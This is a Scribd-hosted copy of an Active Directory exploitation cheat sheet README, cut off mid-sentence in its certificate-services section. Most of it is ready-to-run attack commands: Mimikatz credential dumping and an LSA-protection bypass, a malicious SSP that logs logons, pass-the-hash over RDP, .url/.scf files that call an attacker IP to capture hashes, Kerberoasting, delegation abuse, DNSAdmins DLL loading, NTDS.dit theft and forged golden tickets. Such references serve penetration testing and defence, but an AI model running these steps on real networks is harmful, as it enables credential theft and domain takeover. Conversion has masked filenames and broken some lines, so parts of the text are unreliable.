0% found this document useful (0 votes)
44 views30 pages

Active Directory Exploitation Guide

crazyeights225.github.io-TryHackMe Attacktive Directory

Uploaded by

noelfadel00
Copyright
© © All Rights Reserved
We take content rights seriously. If you suspect this is your content, claim it here.
Available Formats
Download as DOCX, PDF, TXT or read online on Scribd
0% found this document useful (0 votes)
44 views30 pages

Active Directory Exploitation Guide

crazyeights225.github.io-TryHackMe Attacktive Directory

Uploaded by

noelfadel00
Copyright
© © All Rights Reserved
We take content rights seriously. If you suspect this is your content, claim it here.
Available Formats
Download as DOCX, PDF, TXT or read online on Scribd

S1ckB0y1337/Active-Directory-Exploitation-

Cheat-Sheet

Name Last commit message Last commit date


S1ckB0y1337
Merge pull request #41 from NoPurposeInLife/patch-1
8f1f69b · Mar 21, 2025
LICENSE Update LICENSE Aug 21, 2020
[Link] Update [Link] Mar 21, 2025
[Link] Add files via upload Feb 24, 2020

Repository files navigation


 README

 MIT license

Active Directory Exploitation Cheat Sheet


This cheat sheet contains common enumeration and attack methods for Windows Active
Directory.

This cheat sheet is inspired by the PayloadAllTheThings repo.


Summary
 Active Directory Exploitation Cheat Sheet
o Summary
o Tools
o Domain Enumeration
 Using PowerView
 Using AD Module
 Using BloodHound
 Remote BloodHound
 On Site BloodHound
 Using Adalanche
 Remote adalanche
 Export Enumerated Objects
 Useful Enumeration Tools
o Local Privilege Escalation
 Useful Local Priv Esc Tools
o Lateral Movement
 Powershell Remoting
 Remote Code Execution with PS Credentials
 Import a PowerShell Module and Execute its Functions Remotely
 Executing Remote Stateful commands
 Mimikatz
 Remote Desktop Protocol
 URL File Attacks
 Useful Tools
o Domain Privilege Escalation
 Kerberoast
 ASREPRoast
 Password Spray Attack
 Force Set SPN
 Abusing Shadow Copies
 List and Decrypt Stored Credentials using Mimikatz
 Unconstrained Delegation
 Constrained Delegation
 Resource Based Constrained Delegation
 DNSAdmins Abuse
 Abusing Active Directory-Integraded DNS
 Abusing Backup Operators Group
 Abusing Exchange
 Weaponizing Printer Bug
 Abusing ACLs
 Abusing IPv6 with mitm6
 SID History Abuse
 Exploiting SharePoint
 Zerologon
 PrintNightmare
 Active Directory Certificate Services
 No PAC
o Domain Persistence
 Golden Ticket Attack
 DCsync Attack
 Silver Ticket Attack
 Skeleton Key Attack
 DSRM Abuse
 Custom SSP
o Cross Forest Attacks
 Trust Tickets
 Abuse MSSQL Servers
 Breaking Forest Trusts

Tools
 Powersploit
 PowerUpSQL
 Powermad
 Impacket
 Mimikatz
 Rubeus -> Compiled Version
 BloodHound
 AD Module
 ASREPRoast
 Adalanche

Domain Enumeration
Using PowerView

Powerview v.3.0
Powerview Wiki

 Get Current Domain: Get-Domain


 Enumerate Other Domains: Get-Domain -Domain <DomainName>
 Get Domain SID: Get-DomainSID
 Get Domain Policy:
 Get-DomainPolicy

 #Will show us the policy configurations of the Domain about system
access or kerberos
 Get-DomainPolicy | Select-Object -ExpandProperty SystemAccess
Get-DomainPolicy | Select-Object -ExpandProperty KerberosPolicy

Get Domain Controllers:

Get-DomainController
Get-DomainController -Domain <DomainName>

Enumerate Domain Users:

#Save all Domain Users to a file


Get-DomainUser | Out-File -FilePath .\[Link]

#Will return specific properties of a specific user


Get-DomainUser -Identity [username] -Properties DisplayName, MemberOf |
Format-List

#Enumerate user logged on a machine


Get-NetLoggedon -ComputerName <ComputerName>

#Enumerate Session Information for a machine


Get-NetSession -ComputerName <ComputerName>

#Enumerate domain machines of the current/specified domain where specific


users are logged into
Find-DomainUserLocation -Domain <DomainName> | Select-Object UserName,
SessionFromName

Enum Domain Computers:

Get-DomainComputer -Properties OperatingSystem, Name, DnsHostName | Sort-


Object -Property DnsHostName

#Enumerate Live machines


Get-DomainComputer -Ping -Properties OperatingSystem, Name, DnsHostName |
Sort-Object -Property DnsHostName

Enum Groups and Group Members:

#Save all Domain Groups to a file:


Get-DomainGroup | Out-File -FilePath .\[Link]

#Return members of Specific Group (eg. Domain Admins & Enterprise Admins)
Get-DomainGroup -Identity '<GroupName>' | Select-Object -ExpandProperty Member
Get-DomainGroupMember -Identity '<GroupName>' | Select-Object
MemberDistinguishedName

#Enumerate the local groups on the local (or remote) machine. Requires local
admin rights on the remote machine
Get-NetLocalGroup | Select-Object GroupName

#Enumerates members of a specific local group on the local (or remote)


machine. Also requires local admin rights on the remote machine
Get-NetLocalGroupMember -GroupName Administrators | Select-Object MemberName,
IsGroup, IsDomain

#Return all GPOs in a domain that modify local group memberships through
Restricted Groups or Group Policy Preferences
Get-DomainGPOLocalGroup | Select-Object GPODisplayName, GroupName

Enumerate Shares:

#Enumerate Domain Shares


Find-DomainShare

#Enumerate Domain Shares the current user has access


Find-DomainShare -CheckShareAccess

#Enumerate "Interesting" Files on accessible shares


Find-InterestingDomainShareFile -Include *passwords*

Enum Group Policies:

Get-DomainGPO -Properties DisplayName | Sort-Object -Property DisplayName

#Enumerate all GPOs to a specific computer


Get-DomainGPO -ComputerIdentity <ComputerName> -Properties DisplayName | Sort-
Object -Property DisplayName

#Get users that are part of a Machine's local Admin group


Get-DomainGPOComputerLocalGroupMapping -ComputerName <ComputerName>

Enum OUs:

Get-DomainOU -Properties Name | Sort-Object -Property Name

Enum ACLs:
# Returns the ACLs associated with the specified account
Get-DomaiObjectAcl -Identity <AccountName> -ResolveGUIDs

#Search for interesting ACEs


Find-InterestingDomainAcl -ResolveGUIDs

#Check the ACLs associated with a specified path (e.g smb share)
Get-PathAcl -Path "\\Path\Of\A\Share"

Enum Domain Trust:

Get-DomainTrust
Get-DomainTrust -Domain <DomainName>

#Enumerate all trusts for the current domain and then enumerates all trusts
for each domain it finds
Get-DomainTrustMapping

Enum Forest Trust:

Get-ForestDomain
Get-ForestDomain -Forest <ForestName>

#Map the Trust of the Forest


Get-ForestTrust
Get-ForestTrust -Forest <ForestName>

User Hunting:

#Finds all machines on the current domain where the current user has local
admin access
Find-LocalAdminAccess -Verbose

#Find local admins on all machines of the domain


Find-DomainLocalGroupMember -Verbose

#Find computers were a Domain Admin OR a specified user has a session


Find-DomainUserLocation | Select-Object UserName, SessionFromName

#Confirming admin access


Test-AdminAccess

 ❗ Priv Esc to Domain Admin with User Hunting:


I have local admin access on a machine -> A Domain Admin has a session on that
machine -> I steal his token and impersonate him -> Profit!

Using AD Module

 Get Current Domain: Get-ADDomain

 Enum Other Domains: Get-ADDomain -Identity <Domain>


 Get Domain SID: Get-DomainSID

 Get Domain Controlers:

Get-ADDomainController
Get-ADDomainController -Identity <DomainName>

Enumerate Domain Users:

Get-ADUser -Filter * -Identity <user> -Properties *

#Get a specific "string" on a user's attribute


Get-ADUser -Filter 'Description -like "*wtver*"' -Properties Description |
select Name, Description

Enum Domain Computers:

Get-ADComputer -Filter * -Properties *


Get-ADGroup -Filter *

Enum Domain Trust:

Get-ADTrust -Filter *
Get-ADTrust -Identity <DomainName>

Enum Forest Trust:

Get-ADForest
Get-ADForest -Identity <ForestName>

#Domains of Forest Enumeration


(Get-ADForest).Domains

Enum Local AppLocker Effective Policy:

Get-AppLockerPolicy -Effective | select -ExpandProperty RuleCollections

Using BloodHound

Remote BloodHound

Python BloodHound Repository or install it with pip3 install bloodhound

bloodhound-python -u <UserName> -p <Password> -ns <Domain Controller's Ip> -d


<Domain> -c All

On Site BloodHound

#Using exe ingestor


.\[Link] --CollectionMethod All --LdapUsername <UserName> --
LdapPassword <Password> --domain <Domain> --domaincontroller <Domain
Controller's Ip> --OutputDirectory <PathToFile>

#Using PowerShell module ingestor


. .\SharpHound.ps1
Invoke-BloodHound -CollectionMethod All --LdapUsername <UserName> --
LdapPassword <Password> --OutputDirectory <PathToFile>

Using Adalanche

Remote Adalanche

# kali linux:
./adalanche collect activedirectory --domain <Domain> \
--username <Username@Domain> --password <Password> \
--server <DC>

# Example:
./adalanche collect activedirectory --domain [Link] \
--username spoNge369@[Link] --password 'password123!' \
--server [Link]
## -> Terminating successfully

## Any error?:

# LDAP Result Code 200 "Network Error": x509: certificate signed by unknown
authority ?

./adalanche collect activedirectory --domain [Link] \


--username spoNge369@[Link] --password 'password123!' \
--server [Link] --tlsmode NoTLS --port 389

# Invalid Credentials ?
./adalanche collect activedirectory --domain [Link] \
--username spoNge369@[Link] --password 'password123!' \
--server [Link] --tlsmode NoTLS --port 389 \
--authmode basic

# Analyze data
# go to web browser -> [Link]:8080
./adalanche analyze

Export Enumerated Objects

You can export enumerated objects from any module/cmdlet into an XML file for later
ananlysis.

The Export-Clixml cmdlet creates a Common Language Infrastructure (CLI) XML-based


representation of an object or objects and stores it in a file. You can then use the Import-
Clixml cmdlet to recreate the saved object based on the contents of that file.

# Export Domain users to xml file.


Get-DomainUser | Export-CliXml .\[Link]

# Later, when you want to utilise them for analysis even on any other machine.
$DomainUsers = Import-CliXml .\[Link]

# You can now apply any condition, filters, etc.

$DomainUsers | select name

$DomainUsers | ? {$_.name -match "User's Name"}

Useful Enumeration Tools

 ldapdomaindump Information dumper via LDAP


 adidnsdump Integrated DNS dumping by any authenticated user
 ACLight Advanced Discovery of Privileged Accounts
 ADRecon Detailed Active Directory Recon Tool

Local Privilege Escalation


 Windows Local Privilege Escalation Cookbook Cookbook for Windows Local Privilege
Escalations
 Juicy Potato Abuse SeImpersonate or SeAssignPrimaryToken Privileges for System
Impersonation

⚠️Works only until Windows Server 2016 and Windows 10 until patch 1803

 Lovely Potato Automated Juicy Potato

⚠️Works only until Windows Server 2016 and Windows 10 until patch 1803

 PrintSpoofer Exploit the PrinterBug for System Impersonation

🙏 Works for Windows Server 2019 and Windows 10

 RoguePotato Upgraded Juicy Potato

🙏 Works for Windows Server 2019 and Windows 10

 Abusing Token Privileges


 SMBGhost CVE-2020-0796
PoC
 CVE-2021-36934 (HiveNightmare/SeriousSAM)

Useful Local Priv Esc Tools

 PowerUp Misconfiguration Abuse


 BeRoot General Priv Esc Enumeration Tool
 Privesc General Priv Esc Enumeration Tool
 FullPowers Restore A Service Account's Privileges

Lateral Movement
PowerShell Remoting
#Enable PowerShell Remoting on current Machine (Needs Admin Access)
Enable-PSRemoting

#Entering or Starting a new PSSession (Needs Admin Access)


$sess = New-PSSession -ComputerName <Name>
Enter-PSSession -ComputerName <Name> OR -Sessions <SessionName>

Remote Code Execution with PS Credentials


$SecPassword = ConvertTo-SecureString '<Wtver>' -AsPlainText -Force
$Cred = New-Object [Link]('[Link]\
<WtverUser>', $SecPassword)
Invoke-Command -ComputerName <WtverMachine> -Credential $Cred -ScriptBlock
{whoami}

Import a PowerShell Module and Execute its Functions Remotely


#Execute the command and start a session
Invoke-Command -Credential $cred -ComputerName <NameOfComputer> -FilePath c:\
FilePath\file.ps1 -Session $sess

#Interact with the session


Enter-PSSession -Session $sess

Executing Remote Stateful commands


#Create a new session
$sess = New-PSSession -ComputerName <NameOfComputer>

#Execute command on the session


Invoke-Command -Session $sess -ScriptBlock {$ps = Get-Process}

#Check the result of the command to confirm we have an interactive session


Invoke-Command -Session $sess -ScriptBlock {$ps}

Mimikatz
#The commands are in cobalt strike format!

#Dump LSASS:
mimikatz privilege::debug
mimikatz token::elevate
mimikatz sekurlsa::logonpasswords
#(Over) Pass The Hash
mimikatz privilege::debug
mimikatz sekurlsa::pth /user:<UserName> /ntlm:<> /domain:<DomainFQDN>

#List all available kerberos tickets in memory


mimikatz sekurlsa::tickets

#Dump local Terminal Services credentials


mimikatz sekurlsa::tspkg

#Dump and save LSASS in a file


mimikatz sekurlsa::minidump c:\temp\[Link]

#List cached MasterKeys


mimikatz sekurlsa::dpapi

#List local Kerberos AES Keys


mimikatz sekurlsa::ekeys

#Dump SAM Database


mimikatz lsadump::sam

#Dump SECRETS Database


mimikatz lsadump::secrets

#Inject and dump the Domain Controler's Credentials


mimikatz privilege::debug
mimikatz token::elevate
mimikatz lsadump::lsa /inject

#Dump the Domain's Credentials without touching DC's LSASS and also remotely
mimikatz lsadump::dcsync /domain:<DomainFQDN> /all

#Dump old passwords and NTLM hashes of a user


mimikatz lsadump::dcsync /user:<DomainFQDN>\<user> /history

#List and Dump local kerberos credentials


mimikatz kerberos::list /dump

#Pass The Ticket


mimikatz kerberos::ptt <PathToKirbiFile>

#List TS/RDP sessions


mimikatz ts::sessions

#List Vault credentials


mimikatz vault::list

❗ What if mimikatz fails to dump credentials because of LSA Protection controls ?

 LSA as a Protected Process (Kernel Land Bypass)


 #Check if LSA runs as a protected process by looking if the variable
"RunAsPPL" is set to 0x1
 reg query HKLM\SYSTEM\CurrentControlSet\Control\Lsa

 #Next upload the [Link] from the official mimikatz repo to same
folder of your [Link]
 #Now lets import the [Link] to the system
 mimikatz # !+

 #Now lets remove the protection flags from [Link] process
 mimikatz # !processprotect /process:[Link] /remove

 #Finally run the logonpasswords function to dump lsass
mimikatz # sekurlsa::logonpasswords

 LSA as a Protected Process (Userland "Fileless" Bypass)

 PPLdump
 Bypassing LSA Protection in Userland

 LSA is running as virtualized process (LSAISO) by Credential Guard

#Check if a process called [Link] exists on the running processes


tasklist |findstr lsaiso

#If it does there isn't a way tou dump lsass, we will only get encrypted data.
But we can still use keyloggers or clipboard dumpers to capture data.
#Lets inject our own malicious Security Support Provider into memory, for this
example i'll use the one mimikatz provides
mimikatz # misc::memssp

#Now every user session and authentication into this machine will get logged
and plaintext credentials will get captured and dumped into c:\windows\
system32\[Link]

 Detailed Mimikatz Guide


 Poking Around With 2 lsass Protection Options

Remote Desktop Protocol

If the host we want to lateral move to has "RestrictedAdmin" enabled, we can pass the hash
using the RDP protocol and get an interactive session without the plaintext password.

 Mimikatz:
 #We execute pass-the-hash using mimikatz and spawn an instance of
[Link] with the "/restrictedadmin" flag
 privilege::debug
 sekurlsa::pth /user:<Username> /domain:<DomainName> /ntlm:<NTLMHash>
/run:"[Link] /restrictedadmin"

#Then just click ok on the RDP dialogue and enjoy an interactive session
as the user we impersonated

 xFreeRDP:
xfreerdp +compression +clipboard /dynamic-resolution +toggle-fullscreen
/cert-ignore /bpp:8 /u:<Username> /pth:<NTLMHash> /v:<Hostname | IPAddress>

❗ If Restricted Admin mode is disabled on the remote machine we can connect on the host using
another tool/protocol like psexec or winrm and enable it by creating the following registry key
and setting it's value zero: "HKLM:\System\CurrentControlSet\Control\Lsa\
DisableRestrictedAdmin".

 Bypass "Single Session per User" Restriction

On a domain computer, if you have command execution as the system or local administrator and
want an RDP session that another user is already using, you can get around the single session
restriction by adding the following registry key:

REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows NT\Terminal Services" /v


fSingleSessionPerUser /t REG_DWORD /d 0

Once you've completed the desired stuff, you can delete the key to reinstate the single-session-
per-user restriction.

REG DELETE "HKLM\SOFTWARE\Policies\Microsoft\Windows NT\Terminal Services" /v


fSingleSessionPerUse

URL File Attacks

 .url file

[InternetShortcut]
URL=whatever
WorkingDirectory=whatever
IconFile=\\<AttackersIp>\%USERNAME%.icon
IconIndex=1
[InternetShortcut]
URL=[Link]

.scf file

[Shell]
Command=2
IconFile=\\<AttackersIp>\Share\[Link]
[Taskbar]
Command=ToggleDesktop

Putting these files in a writeable share the victim only has to open the file explorer and navigate
to the share. Note that the file doesn't need to be opened or the user to interact with it, but it must
be on the top of the file system or just visible in the windows explorer window in order to be
rendered. Use responder to capture the hashes.

❗ .scf file attacks won't work on the latest versions of Windows.


Useful Tools

 Powercat netcat written in powershell, and provides tunneling, relay and portforward
capabilities.
 SCShell fileless lateral movement tool that relies on ChangeServiceConfigA to run
command
 Evil-Winrm the ultimate WinRM shell for hacking/pentesting
 RunasCs Csharp and open version of windows builtin [Link]
 ntlm_theft creates all possible file formats for url file attacks

Domain Privilege Escalation


Kerberoast

WUT IS DIS?:
All standard domain users can request a copy of all service accounts along with their correlating
password hashes, so we can ask a TGS for any SPN that is bound to a "user"
account, extract the encrypted blob that was encrypted using the user's password and bruteforce
it offline.

 PowerView:
 #Get User Accounts that are used as Service Accounts
 Get-NetUser -SPN

 #Get every available SPN account, request a TGS and dump its hash
 Invoke-Kerberoast

 #Requesting the TGS for a single account:
 Request-SPNTicket

 #Export all tickets using Mimikatz
Invoke-Mimikatz -Command '"kerberos::list /export"'

AD Module:

#Get User Accounts that are used as Service Accounts


Get-ADUser -Filter {ServicePrincipalName -ne "$null"} -Properties
ServicePrincipalName

Impacket:

python [Link] <DomainName>/<DomainUser>:<Password> -outputfile


<FileName>

Rubeus:

#Kerberoasting and outputing on a file with a specific format


[Link] kerberoast /outfile:<fileName> /domain:<DomainName>
#Kerberoasting whle being "OPSEC" safe, essentially while not try to roast AES
enabled accounts
[Link] kerberoast /outfile:<fileName> /domain:<DomainName> /rc4opsec

#Kerberoast AES enabled accounts


[Link] kerberoast /outfile:<fileName> /domain:<DomainName> /aes

#Kerberoast specific user account


[Link] kerberoast /outfile:<fileName> /domain:<DomainName>
/user:<username> /simple

#Kerberoast by specifying the authentication credentials


[Link] kerberoast /outfile:<fileName> /domain:<DomainName>
/creduser:<username> /credpassword:<password>

ASREPRoast

WUT IS DIS?:
If a domain user account do not require kerberos preauthentication, we can request a valid TGT
for this account without even having domain credentials, extract the encrypted
blob and bruteforce it offline.

 PowerView: Get-DomainUser -PreauthNotRequired -Verbose


 AD Module: Get-ADUser -Filter {DoesNotRequirePreAuth -eq $True} -
Properties DoesNotRequirePreAuth

Forcefully Disable Kerberos Preauth on an account i have Write Permissions or more! Check for
interesting permissions on accounts:

Hint: We add a filter e.g. RDPUsers to get "User Accounts" not Machine Accounts, because
Machine Account hashes are not crackable!

PowerView:

Invoke-ACLScanner -ResolveGUIDs | ?{$_.IdentinyReferenceName -match


"RDPUsers"}
Disable Kerberos Preauth:
Set-DomainObject -Identity <UserAccount> -XOR @{useraccountcontrol=4194304} -
Verbose
Check if the value changed:
Get-DomainUser -PreauthNotRequired -Verbose

 And finally execute the attack using the ASREPRoast tool.

#Get a specific Accounts hash:


Get-ASREPHash -UserName <UserName> -Verbose

#Get any ASREPRoastable Users hashes:


Invoke-ASREPRoast -Verbose

Using Rubeus:
#Trying the attack for all domain users
[Link] asreproast /format:<hashcat|john> /domain:<DomainName>
/outfile:<filename>

#ASREPRoast specific user


[Link] asreproast /user:<username> /format:<hashcat|john>
/domain:<DomainName> /outfile:<filename>

#ASREPRoast users of a specific OU (Organization Unit)


[Link] asreproast /ou:<OUName> /format:<hashcat|john> /domain:<DomainName>
/outfile:<filename>

Using Impacket:

#Trying the attack for the specified users on the file


python [Link] <domain_name>/ -usersfile <users_file> -outputfile
<FileName>

Password Spray Attack

If we have harvest some passwords by compromising a user account, we can use this method to
try and exploit password reuse on other domain accounts.

Tools:

 DomainPasswordSpray
 CrackMapExec
 Invoke-CleverSpray
 Spray

Force Set SPN

WUT IS DIS ?: If we have enough permissions -> GenericAll/GenericWrite we can set a SPN on
a target account, request a TGS, then grab its blob and bruteforce it.

 PowerView:
 #Check for interesting permissions on accounts:
 Invoke-ACLScanner -ResolveGUIDs | ?{$_.IdentinyReferenceName -match
"RDPUsers"}

 #Check if current user has already an SPN setted:
 Get-DomainUser -Identity <UserName> | select serviceprincipalname

 #Force set the SPN on the account:
Set-DomainObject <UserName> -Set @{serviceprincipalname='ops/whatever1'}

AD Module:

#Check if current user has already an SPN setted


Get-ADUser -Identity <UserName> -Properties ServicePrincipalName | select
ServicePrincipalName
#Force set the SPN on the account:
Set-ADUser -Identiny <UserName> -ServicePrincipalNames @{Add='ops/whatever1'}

Finally use any tool from before to grab the hash and kerberoast it!

Abusing Shadow Copies

If you have local administrator access on a machine try to list shadow copies, it's an easy way for
Domain Escalation.

#List shadow copies using vssadmin (Needs Admnistrator Access)


vssadmin list shadows

#List shadow copies using diskshadow


diskshadow list shadows all

#Make a symlink to the shadow copy and access it


mklink /d c:\shadowcopy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\

1. You can dump the backuped SAM database and harvest credentials.
2. Look for DPAPI stored creds and decrypt them.
3. Access backuped sensitive files.

List and Decrypt Stored Credentials using Mimikatz

Usually encrypted credentials are stored in:

 %appdata%\Microsoft\Credentials
 %localappdata%\Microsoft\Credentials

#By using the cred function of mimikatz we can enumerate the cred object and
get information about it:
dpapi::cred /in:"%appdata%\Microsoft\Credentials\<CredHash>"

#From the previous command we are interested to the "guidMasterKey" parameter,


that tells us which masterkey was used to encrypt the credential
#Lets enumerate the Master Key:
dpapi::masterkey /in:"%appdata%\Microsoft\Protect\<usersid>\<MasterKeyGUID>"

#Now if we are on the context of the user (or system) that the credential
belogs to, we can use the /rpc flag to pass the decryption of the masterkey to
the domain controler:
dpapi::masterkey /in:"%appdata%\Microsoft\Protect\<usersid>\
<MasterKeyGUID>" /rpc

#We now have the masterkey in our local cache:


dpapi::cache

#Finally we can decrypt the credential using the cached masterkey:


dpapi::cred /in:"%appdata%\Microsoft\Credentials\<CredHash>"
Detailed Article: DPAPI all the things

Unconstrained Delegation

WUT IS DIS ?: If we have Administrative access on a machine that has Unconstrained


Delegation enabled, we can wait for a high value target or DA to connect to it, steal his TGT
then ptt and impersonate him!

Using PowerView:

#Discover domain joined computers that have Unconstrained Delegation enabled


Get-NetComputer -UnConstrained

#List tickets and check if a DA or some High Value target has stored its TGT
Invoke-Mimikatz -Command '"sekurlsa::tickets"'

#Command to monitor any incoming sessions on our compromised server


Invoke-UserHunter -ComputerName <NameOfTheComputer> -Poll
<TimeOfMonitoringInSeconds> -UserName <UserToMonitorFor> -Delay
<WaitInterval> -Verbose

#Dump the tickets to disk:


Invoke-Mimikatz -Command '"sekurlsa::tickets /export"'

#Impersonate the user using ptt attack:


Invoke-Mimikatz -Command '"kerberos::ptt <PathToTicket>"'

Note: We can also use Rubeus!

Constrained Delegation

Using PowerView and Kekeo:

#Enumerate Users and Computers with constrained delegation


Get-DomainUser -TrustedToAuth
Get-DomainComputer -TrustedToAuth

#If we have a user that has Constrained delegation, we ask for a valid tgt of
this user using kekeo
tgt::ask /user:<UserName> /domain:<Domain's FQDN>
/rc4:<hashedPasswordOfTheUser>

#Then using the TGT we have ask a TGS for a Service this user has Access to
through constrained delegation
tgs::s4u /tgt:<PathToTGT> /user:<UserToImpersonate>@<Domain's FQDN>
/service:<Service's SPN>

#Finally use mimikatz to ptt the TGS


Invoke-Mimikatz -Command '"kerberos::ptt <PathToTGS>"'

ALTERNATIVE: Using Rubeus:


[Link] s4u /user:<UserName> /rc4:<NTLMhashedPasswordOfTheUser>
/impersonateuser:<UserToImpersonate> /msdsspn:"<Service's SPN>"
/altservice:<Optional> /ptt

Now we can access the service as the impersonated user!

🚩 What if we have delegation rights for only a specific SPN? (e.g TIME):

In this case we can still abuse a feature of kerberos called "alternative service". This allows us to
request TGS tickets for other "alternative" services and not only for the one we have rights for.
Thats gives us the leverage to request valid tickets for any service we want that the host supports,
giving us full access over the target machine.

Resource Based Constrained Delegation

WUT IS DIS?:
TL;DR
If we have GenericALL/GenericWrite privileges on a machine account object of a domain, we
can abuse it and impersonate ourselves as any user of the domain to it. For example we can
impersonate Domain Administrator and have complete access.

Tools we are going to use:

 PowerView
 Powermad
 Rubeus

First we need to enter the security context of the user/machine account that has the privileges
over the object. If it is a user account we can use Pass the Hash, RDP, PSCredentials etc.

Exploitation Example:

#Import Powermad and use it to create a new MACHINE ACCOUNT


. .\Powermad.ps1
New-MachineAccount -MachineAccount <MachineAccountName> -Password $(ConvertTo-
SecureString 'p@ssword!' -AsPlainText -Force) -Verbose

#Import PowerView and get the SID of our new created machine account
. .\PowerView.ps1
$ComputerSid = Get-DomainComputer <MachineAccountName> -Properties objectsid |
Select -Expand objectsid

#Then by using the SID we are going to build an ACE for the new created
machine account using a raw security descriptor:
$SD = New-Object [Link] -ArgumentList
"O:BAD:(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;$($ComputerSid))"
$SDBytes = New-Object byte[] ($[Link])
$[Link]($SDBytes, 0)
#Next, we need to set the security descriptor in the msDS-
AllowedToActOnBehalfOfOtherIdentity field of the computer account we're taking
over, again using PowerView
Get-DomainComputer TargetMachine | Set-DomainObject -Set @{'msds-
allowedtoactonbehalfofotheridentity'=$SDBytes} -Verbose

#After that we need to get the RC4 hash of the new machine account's password
using Rubeus
[Link] hash /password:'p@ssword!'

#And for this example, we are going to impersonate Domain Administrator on the
cifs service of the target computer using Rubeus
[Link] s4u /user:<MachineAccountName>
/rc4:<RC4HashOfMachineAccountPassword> /impersonateuser:Administrator
/msdsspn:cifs/[Link] /domain:[Link] /ptt

#Finally we can access the C$ drive of the target machine


dir \\[Link]\C$

Detailed Articles:

 Wagging the Dog: Abusing Resource-Based Constrained Delegation to Attack Active


Directory
 RESOURCE-BASED CONSTRAINED DELEGATION ABUSE

❗ In Constrain and Resource-Based Constrained Delegation if we don't have the password/hash


of the account with TRUSTED_TO_AUTH_FOR_DELEGATION that we try to abuse, we can
use the very nice trick "tgt::deleg" from kekeo or "tgtdeleg" from rubeus and fool Kerberos to
give us a valid TGT for that account. Then we just use the ticket instead of the hash of the
account to perform the attack.

#Command on Rubeus
[Link] tgtdeleg /nowrap

Detailed Article: Rubeus – Now With More Kekeo

DNSAdmins Abuse

WUT IS DIS ?: If a user is a member of the DNSAdmins group, he can possibly load an arbitary
DLL with the privileges of [Link] that runs as SYSTEM. In case the DC serves a DNS, the user
can escalate his privileges to DA. This exploitation process needs privileges to restart the DNS
service to work.

1. Enumerate the members of the DNSAdmins group:


o PowerView: Get-NetGroupMember -GroupName "DNSAdmins"
o AD Module: Get-ADGroupMember -Identiny DNSAdmins
2. Once we found a member of this group we need to compromise it (There are many
ways).
3. Then by serving a malicious DLL on a SMB share and configuring the dll usage,we can
escalate our privileges:
4. #Using dnscmd:
5. dnscmd <NameOfDNSMAchine> /config /serverlevelplugindll \\Path\To\Our\
Dll\[Link]
6.
7. #Restart the DNS Service:
8. sc \\DNSServer stop dns
sc \\DNSServer start dns

Abusing Active Directory-Integraded DNS

 Exploiting Active Directory-Integrated DNS


 ADIDNS Revisited
 Inveigh

Abusing Backup Operators Group

WUT IS DIS ?: If we manage to compromise a user account that is member of the Backup
Operators group, we can then abuse it's SeBackupPrivilege to create a shadow copy of the
current state of the DC, extract the [Link] database file, dump the hashes and escalate our
privileges to DA.

1. Once we have access on an account that has the SeBackupPrivilege we can access the DC
and create a shadow copy using the signed binary diskshadow:
2. #Create a .txt file that will contain the shadow copy process script
3. Script ->{
4. set context persistent nowriters
5. set metadata c:\windows\system32\spool\drivers\color\[Link]
6. set verbose on
7. begin backup
8. add volume c: alias mydrive
9.
10. create
11.
12. expose %mydrive% w:
13. end backup
14. }
15.
16. #Execute diskshadow with our script as parameter
diskshadow /s [Link]

Next we need to access the shadow copy, we may have the SeBackupPrivilege but we cant just
simply copy-paste [Link], we need to mimic a backup software and use Win32 API calls to
copy it on an accessible folder. For this we are going to use this amazing repo:

#Importing both dlls from the repo using powershell


Import-Module .\[Link]
Import-Module .\[Link]

#Checking if the SeBackupPrivilege is enabled


Get-SeBackupPrivilege

#If it isn't we enable it


Set-SeBackupPrivilege

#Use the functionality of the dlls to copy the [Link] database file from the
shadow copy to a location of our choice
Copy-FileSeBackupPrivilege w:\windows\NTDS\[Link] c:\<PathToSave>\[Link] -
Overwrite

#Dump the SYSTEM hive


reg save HKLM\SYSTEM c:\temp\[Link]

3. Using [Link] from impacket or some other tool we copy [Link] and the SYSTEM
hive on our local machine.
4. Use [Link] from impacket and dump the hashes.
5. Use psexec or another tool of your choice to PTH and get Domain Admin access.

Abusing Exchange

 Abusing Exchange one Api call from DA


 CVE-2020-0688
 PrivExchange Exchange your privileges for Domain Admin privs by abusing Exchange

Weaponizing Printer Bug

 Printer Server Bug to Domain Administrator


 NetNTLMtoSilverTicket

Abusing ACLs

 Escalating privileges with ACLs in Active Directory


 [Link]
 Invoke-ACLPwn

Abusing IPv6 with mitm6

 Compromising IPv4 networks via IPv6


 mitm6

SID History Abuse

WUT IS DIS?: If we manage to compromise a child domain of a forest and SID filtering isn't
enabled (most of the times is not), we can abuse it to privilege escalate to Domain Administrator
of the root domain of the forest. This is possible because of the SID History field on a kerberos
TGT ticket, that defines the "extra" security groups and privileges.

Exploitation example:

#Get the SID of the Current Domain using PowerView


Get-DomainSID -Domain [Link]
#Get the SID of the Root Domain using PowerView
Get-DomainSID -Domain [Link]

#Create the Enteprise Admins SID


Format: RootDomainSID-519

#Forge "Extra" Golden Ticket using mimikatz


kerberos::golden /user:Administrator /domain:[Link]
/sid:<CurrentDomainSID> /krbtgt:<krbtgtHash> /sids:<EnterpriseAdminsSID>
/startoffset:0 /endin:600 /renewmax:10080 /ticket:\path\to\ticket\[Link]

#Inject the ticket into memory


kerberos::ptt \path\to\ticket\[Link]

#List the DC of the Root Domain


dir \\[Link]\C$

#Or DCsync and dump the hashes using mimikatz


lsadump::dcsync /domain:[Link] /all

Detailed Articles:

 Kerberos Golden Tickets are Now More Golden


 A Guide to Attacking Domain Trusts

Exploiting SharePoint

 CVE-2019-0604 RCE Exploitation


PoC
 CVE-2019-1257 Code execution through BDC deserialization
 CVE-2020-0932 RCE using typeconverters
PoC

Zerologon

 Zerologon: Unauthenticated domain controller compromise: White paper of the


vulnerability.
 SharpZeroLogon: C# implementation of the Zerologon exploit.
 Invoke-ZeroLogon: PowerShell implementation of the Zerologon exploit.
 Zer0Dump: Python implementation of the Zerologon exploit using the impacket library.

PrintNightmare

 CVE-2021-34527: Vulnerability details.


 Impacket implementation of PrintNightmare: Reliable PoC of PrintNightmare using the
impacket library.
 C# Implementation of CVE-2021-1675: Reliable PoC of PrintNightmare written in C#.
Active Directory Certificate Services

Check for Vulnerable Certificate Templates with: Certify

Note: Certify can be executed with Cobalt Strike's execute-assembly command as well

.\[Link] find /vulnerable /quiet

Make sure the msPKI-Certificates-Name-Flag value is set to


"ENROLLEE_SUPPLIES_SUBJECT" and that the Enrollment Rights allow
